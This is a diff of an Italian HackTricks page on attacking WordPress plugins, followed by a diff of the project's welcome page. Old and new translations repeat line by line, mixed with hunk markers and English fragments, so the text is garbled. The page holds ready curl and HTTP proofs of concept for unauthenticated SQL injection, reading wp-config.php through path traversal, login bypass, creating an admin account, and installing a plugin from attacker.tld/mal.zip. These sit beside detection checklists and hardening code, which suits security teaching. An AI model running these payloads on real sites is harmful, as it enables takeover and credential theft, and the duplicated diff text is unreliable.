Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` si forza WordPress nella *procedura di installazione* alla visita successiva, consentendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` WordPress viene forzato nella *procedura guidata d'installazione* al prossimo accesso, permettendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
Altri target impattanti includono file `.php` di plugin/theme (per compromettere plugin di sicurezza) o regole `.htaccess`.
#### Detection checklist
#### Checklist di rilevamento
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che invoca helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenazione di input utente non sanitizzato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
#### Hardening
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Sempre** tratta qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
### Escalation di privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando i ruoli originali negli user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo sui parametri della request (e.g., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capability e un nonce valido, questo diventa una vertical privilege escalation.
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il(i) ruolo(i) originale(i) in user meta in modo da poterli ripristinare successivamente. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo si trasforma in una escalation di privilegi verticale.
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati negli user meta `_asenha_view_admin_as_original_roles`:
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non effettuava né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati da user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -513,15 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
```
Perché è sfruttabile
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
- Se un utente in precedenza aveva privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` ed è stato declassato, può ripristinarli visitando il percorso di reset.
- In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non corretta).
Prerequisiti dell'attacco
- Versione del plugin vulnerabile con la funzionalità abilitata.
- L'account target ha un ruolo di alto privilegio obsoleto memorizzato nei user meta da un uso precedente.
- Qualsiasi sessione autenticata; mancanza di nonce/capability nel flusso di reset.
- Si affida a `$_REQUEST['reset-for']` e a un'opzione del plugin senza autorizzazione lato server.
- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli richiamando il percorso di reset.
- In alcune installazioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa).
Sfruttamento (esempio)
```bash
@ -531,36 +493,23 @@ Sfruttamento (esempio)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), causando di fatto un'escalation di privilegi.
Sulle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), escalando effettivamente i privilegi.
Checklist di rilevamento
Detection checklist
- Cerca funzionalità di role-switching che persistono gli “original roles” nei user meta (es., `_asenha_view_admin_as_original_roles`).
- Cerca funzionalità di role-switching che persistono “original roles” in user meta (es., `_asenha_view_admin_as_original_roles`).
- Individua percorsi di reset/restore che:
- Leggono username da `$_REQUEST` / `$_GET` / `$_POST`.
- Modificano ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizzano basandosi su un array di opzioni del plugin (es., `viewing_admin_as_role_are`) invece che sulle capability dell'attore.
Mitigazioni
- Applicare controlli sulle capability in ogni ramo che modifica lo stato (es., `current_user_can('manage_options')` o più restrittivo).
- Richiedere nonces per tutte le mutazioni di ruoli/permessi e verificarli: `check_admin_referer()` / `wp_verify_nonce()`.
- Non fidarsi mai di username forniti dalla request; risolvere l'utente target lato server basandosi sull'attore autenticato e su una policy esplicita.
- Invalidare lo stato degli “original roles” durante aggiornamenti di profile/ruolo per evitare il ripristino di privilegi elevati obsoleti:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Valuta di conservare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch temporanei di ruolo.
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
- Authorize based on a plugin option array (es., `viewing_admin_as_role_are`) instead of the actors capabilities.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Alcuni plugin collegano user-switching helpers al public `init` hook e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare authentication, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un arbitrario user ID.
Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.');
```
Perché è sfruttabile
- Il hook pubblico `init` rende il handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`).
- L'identità è derivata da un cookie modificabile dal client (`original_user_id`).
- Una chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza controlli di capability/nonce.
- Il hook pubblico `init` rende l'handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`).
- L'identità viene ricavata da un cookie modificabile dal client (`original_user_id`).
- La chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza alcun controllo di capability/nonce.
Exploitation (unauthenticated)
Sfruttamento (non autenticato)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -605,22 +554,22 @@ Connection: close
```
---
### Considerazioni sul WAF per i CVE di WordPress/plugin
### Considerazioni WAF per WordPress/plugin CVEs
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto di WordPress/plugin sono bug di logica dell'applicazione o di auth che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
Offensive notes
- Mira agli endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Esegui prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, public shortcodes). I payload di default spesso funzionano senza offuscamento.
- Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Provare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso riescono senza obfuscazione.
- Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Non fare affidamento su firme WAF generiche per proteggere i CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente.
- Preferisci controlli di sicurezza in modalità positiva nel codice (capabilities, nonces, strict input validation) piuttosto che filtri negativi basati su regex.
- Non fare affidamento sulle signature generiche del WAF per proteggere CVE dei plugin. Implementa patch virtuali a livello applicativo specifiche per la vulnerabilità o aggiorna rapidamente.
- Preferisci controlli positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
## Protezione di WordPress
## Protezione WordPress
### Aggiornamenti regolari
@ -640,16 +589,16 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
### **Altre raccomandazioni**
- **Rimuovi** l'utente predefinito **admin**
- **Usa** **password complesse** e **2FA**
- **Rivedi** periodicamente i **permessi** degli utenti
- **Limita i tentativi di login** per prevenire attacchi Brute Force
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da alcuni indirizzi IP.
- Rimuovere l'utente predefinito **admin**
- Usare **password forti** e **2FA**
- Periodicamente **rivedere** i **permessi** degli utenti
- **Limitare i tentativi di login** per prevenire attacchi Brute Force
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
Il plugin WP Job Portal recruitment esponeva un task **savecategory** che, in definitiva, esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -661,17 +610,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Problemi introdotti da questo snippet:
1. **Input utente non sanitizzato** `parentid` proviene direttamente dalla richiesta HTTP.
2. **Concatenazione di stringhe nella clausola WHERE** assenza di `is_numeric()` / `esc_sql()` / prepared statement.
3. **Accessibilità non autenticata** sebbene l'azione venga eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
1. **Unsanitised user input** `parentid` proviene direttamente dalla richiesta HTTP.
2. **String concatenation inside the WHERE clause** manca `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo in atto è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
#### Sfruttamento
1. Ottenere un nonce valido:
1. Recupera un nonce valido:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Iniettare SQL arbitrario abusando di `parentid`:
2. Inietta SQL arbitrario sfruttando `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la SQLi.
La risposta rivela il risultato della query iniettata o altera il database, dimostrando la presenza di SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Un'altra operazione, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file su disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
Un altro task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` è controllato dall'attaccante ed è concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è un **CSRF nonce** che può essere recuperato dalla pagina del resume.
`$file_name` è controllato dall'attaccante e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume.
#### Exploitation
```bash
@ -703,7 +652,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys.
## References
## Presa di controllo dell'account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Molti temi/plugin forniscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando i dati del provider mancano e poi chiama wp_set_auth_cookie(), questo diventa un bypass completo dell'autenticazione.
Typical flawed pattern (simplified)
```php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Perché è sfruttabile
- Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…).
- Nessun controllo di nonce/capability prima della modifica di stato.
- Manca la verifica del provider OAuth/OpenID; il ramo di default accetta input dell'attaccante.
- get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente.
Sfruttamento (senza autenticazione)
- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un indirizzo email utente valido.
- Imposta provider su un valore non supportato (o omettendolo) per raggiungere il ramo di default e inviare id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
```
```bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Indicatori di successo attesi
- HTTP 200 con body JSON tipo {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* per l'utente vittima; le richieste successive sono autenticate.
Trovare il nome dell'action
- Ispeziona il tema/plugin per registrazioni add_action('wp_ajax_nopriv_...', '...') nel codice di social login (es., framework/add-ons/social-login/class-social-login.php).
- Grep per wp_set_auth_cookie(), get_user_by('email', ...) nei gestori AJAX.
Checklist di rilevamento
- Log web che mostrano POST non autenticati a /wp-admin/admin-ajax.php con l'action social-login e id=<email>.
- Risposte 200 con il JSON di successo immediatamente precedenti a traffico autenticato dallo stesso IP/User-Agent.
Mitigazioni
- Non derivare l'identità dall'input del client. Accetta solo email/ID che provengono da un token/ID del provider validato.
- Richiedi CSRF nonces e controlli di capability anche per helper di login; evita di registrare wp_ajax_nopriv_ a meno che non sia strettamente necessario.
- Valida e verifica le risposte OAuth/OIDC lato server; rifiuta provider mancanti/invalidi (no fallback a POST id).
- Considera la disabilitazione temporanea del social login o un patch virtuale al bordo (bloccare l'action vulnerabile) fino alla risoluzione.
Comportamento corretto (Jobmonster 4.8.0)
- Rimosso il fallback insicuro da $_POST['id']; $user_email deve provenire dai branch provider verificati in switch($_POST['using']).
## Escalation di privilegi non autenticata tramite emissione di token/chiave REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)
Alcuni plugin espongono endpoint REST che emettono “connection keys” riutilizzabili o token senza verificare le capability del chiamante. Se la route si autentica solo su un attributo indovinabile (es., username) e non lega la chiave a un utente/sessione con controlli di capability, un attaccante non autenticato può emettere una chiave e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC emetti una connection key e usala
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Perché è sfruttabile
- Route REST sensibile protetta solo da una prova di identità a bassa entropia (username) o da permission_callback mancante
- Nessun enforcement delle capability; la chiave emessa viene accettata come bypass universale
Checklist di rilevamento
- Esegui grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Qualsiasi route che emette token/chiavi basate su identità fornita nella richiesta (username/email) senza collegarle a un utente autenticato o a una capability
- Cerca route successive che accettano la token/chiave emessa senza controlli di capability lato server
Mitigazioni
- Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta
- Non emettere chiavi a lunga durata basate su identità fornite dal client; se necessario, rilasciare token a breve durata vincolati all'utente dopo l'autenticazione e ricontrollare le capability al momento dell'uso
- Valida il contesto utente del chiamante (wp_set_current_user da solo non è sufficiente) e rifiuta le richieste dove !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevengono il CSRF, non l'autorizzazione. Se il codice interpreta il superamento di un nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e ottenere RCE installando un plugin backdoored o vulnerabile.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: compromissione completa tramite installazione/attivazione arbitraria di plugin
PoC (la forma dipende dal plugin; solo illustrativo)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Checklist di rilevamento
- REST/AJAX handlers che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza controllo di capability
- Qualsiasi path di codice che imposti $skip_caps = true dopo la validazione del nonce
Rafforzamento
- Considera sempre i nonces solo come CSRF tokens; applica i controlli di capability indipendentemente dallo stato del nonce
- Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer
- Rifiuta l'accesso non autenticato; evita di esporre azioni AJAX nopriv per flussi privilegiati
---
## SQLi non autenticato tramite il parametro s (search) nelle azioni depicter-* (Depicter Slider ≤ 3.6.1)
Diverse action depicter-* consumavano il parametro s (search) e lo concatenavano in query SQL senza parameterizzazione.
- Parameter: s (search)
- Flaw: concatenazione diretta di stringhe nelle clausole WHERE/LIKE; assenza di prepared statements e sanitizzazione
- Impact: esfiltrazione del database (utenti, hash), movimento laterale
PoC
```bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Checklist di rilevamento
- Eseguire grep per depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL
- Rivedere le query personalizzate passate a $wpdb->get_results()/query() che concatenano s
Rafforzamento
- Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server
- Aggiungere una allowlist rigorosa per s e normalizzare al charset/lunghezza attesi
---
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette di leggere file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono caricati a runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: divulgazione di segreti (wp-config.php), possibile RCE in ambienti specifici (log poisoning, includable PHP)
PoC leggere wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Checklist di rilevamento
- Qualsiasi handler che concatena path di richiesta in sink include()/require()/read senza verifica di containment con realpath()
- Cerca pattern di traversal (../) che raggiungono al di fuori della directory templates prevista
Hardening
- Forzare allowlisted templates; risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
- Normalizzare l'input; rifiutare sequenze di traversal e percorsi assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi)
## Riferimenti
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
@ -714,5 +854,11 @@ Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials a
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
- [Q3 2025s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
- [OttoKit (SureTriggers) ≤ 1.0.82 Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
- [FunnelKit Automations ≤ 3.5.3 Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
- [Depicter Slider ≤ 3.6.1 Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
- [Kubio AI Page Builder ≤ 2.5.1 Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,14 +7,14 @@
> [!TIP]
> Questi sono i **valori del progetto HackTricks**:
>
> - Dare accesso **GRATUITO** a risorse di **EDUCATIONAL hacking** a **TUTTO** Internet.
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile.
> - Dare accesso **GRATUITO** a risorse **EDUCATIVE di hacking** per **TUTTA** Internet.
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più libero possibile.
> - Lo scopo di questo libro è servire come una **risorsa educativa** completa.
> - **ARCHIVIARE** tecniche di **hacking** straordinarie che la community pubblica dando agli **AUTORI ORIGINALI** tutti i **crediti**.
> - **Non vogliamo i riconoscimenti di altre persone**, vogliamo solo conservare trucchi utili per tutti.
> - **CONSERVARE** fantastiche tecniche di **hacking** che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**.
> - **Non vogliamo i meriti di altre persone**, vogliamo solo conservare trucchi interessanti per tutti.
> - Scriviamo anche le **nostre ricerche** in HackTricks.
> - In diversi casi scriveremo solo **su HackTricks un riassunto delle parti più importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
> - **ORGANIZZARE** tutte le tecniche di **hacking** nel libro così che sia **PIÙ ACCESSIBILE**
> - In diversi casi scriveremo solo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
> - **ORGANIZZARE** tutte le tecniche di hacking nel libro così che siano **PIÙ ACCESSIBILI**
> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possano **imparare più velocemente**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -26,14 +26,14 @@
> - **Grazie mille per queste risorse, come posso ringraziarvi?**
Puoi ringraziare pubblicamente il team di HackTricks per aver messo insieme tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Se sei particolarmente grato puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\
E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link qui sotto).
Se sei particolarmente riconoscente puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\
E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link sotto).
> [!TIP]
>
> - **Come posso contribuire al progetto?**
Puoi **condividere nuovi tips e tricks con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github:
Puoi **condividere nuovi suggerimenti e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -42,16 +42,16 @@ Non dimenticare di **mettere una stella ai progetti su Github!**
> [!TIP]
>
> - **Posso copiare parte del contenuto di HackTricks e metterlo sul mio blog?**
> - **Posso copiare del contenuto da HackTricks e metterlo sul mio blog?**
Sì, puoi, ma **non dimenticare di indicare il/i link specifico/i** da cui il contenuto è stato preso.
Sì, puoi, ma **non dimenticare di menzionare il/i link specifici** da cui è stato preso il contenuto.
> [!TIP]
>
> - **Come posso citare una pagina di HackTricks?**
Finché appare il link della pagina (o delle pagine) da cui hai preso le informazioni, è sufficiente.\
Se hai bisogno di un bibtex puoi usare qualcosa del tipo:
Finché appare il link **della** pagina(e) da cui hai preso l'informazione è sufficiente.\
Se hai bisogno di un bibtex puoi usare qualcosa del genere:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **Posso copiare tutti i contenuti di HackTricks sul mio blog?**
> - **Posso copiare tutti gli HackTricks nel mio blog?**
>
**Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già pubblicamente disponibile** nei libri ufficiali di HackTricks gratuitamente.
**Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già disponibile pubblicamente** nei libri ufficiali di HackTricks gratuitamente.
Se temi che possa scomparire, fai semplicemente un fork su Github o scaricalo; come ho detto è già gratuito.
